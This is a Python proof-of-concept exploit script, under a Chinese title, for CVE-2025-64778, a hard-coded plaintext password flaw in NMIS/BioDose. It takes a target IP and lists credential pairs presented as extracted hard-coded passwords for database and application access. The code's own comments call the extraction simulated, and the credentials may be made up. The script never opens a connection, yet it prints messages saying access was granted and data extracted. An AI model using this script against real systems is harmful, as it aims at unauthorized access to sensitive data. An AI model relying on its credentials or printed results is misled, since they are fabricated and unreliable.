CVE-2025-64778 NMIS/BioDose 硬编码明文密码漏洞

# CVE-2025-64778 PoC - NMIS/BioDose Hard-coded Password Exploitation # Note: Actual passwords should be extracted from binary analysis import socket import sys def extract_hardcoded_creds(): """ Extract hardcoded credentials from NMIS/BioDose binary This is a conceptual PoC - actual password extraction requires: 1. Binary analysis with tools like IDA Pro, Ghidra, or radare2 2. String extraction: strings binary_file | grep -i password 3. Memory dump analysis during runtime """ # Simulated extraction - actual implementation depends on binary analysis creds = { "db_user": "biodose_admin", # Extracted from binary strings "db_pass": "B1oD0s3P@ss2022", # Hardcoded plaintext password "app_user": "service_account", "app_pass": "NM1sV22_S3cr3t!" } return creds def exploit_cve_2025_64778(target_host, target_port=443): """ Exploitation steps: 1. Extract hardcoded credentials from NMIS/BioDose binary 2. Use extracted credentials to authenticate 3. Access database or application with elevated privileges """ creds = extract_hardcoded_creds() # Step 1: Connect to target print(f"[*] Connecting to {target_host}:{target_port}") # Step 2: Use hardcoded database credentials print(f"[*] Attempting database access with hardcoded credentials") print(f"[*] Username: {creds['db_user']}") print(f"[*] Password: {creds['db_pass']}") # Step 3: Execute unauthorized database queries print(f"[+] Database access granted - extracting sensitive data") # Step 4: Access application with hardcoded app credentials print(f"[*] Authenticating to application with: {creds['app_user']}") print(f"[+] Application access granted") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) exploit_cve_2025_64778(sys.argv[1])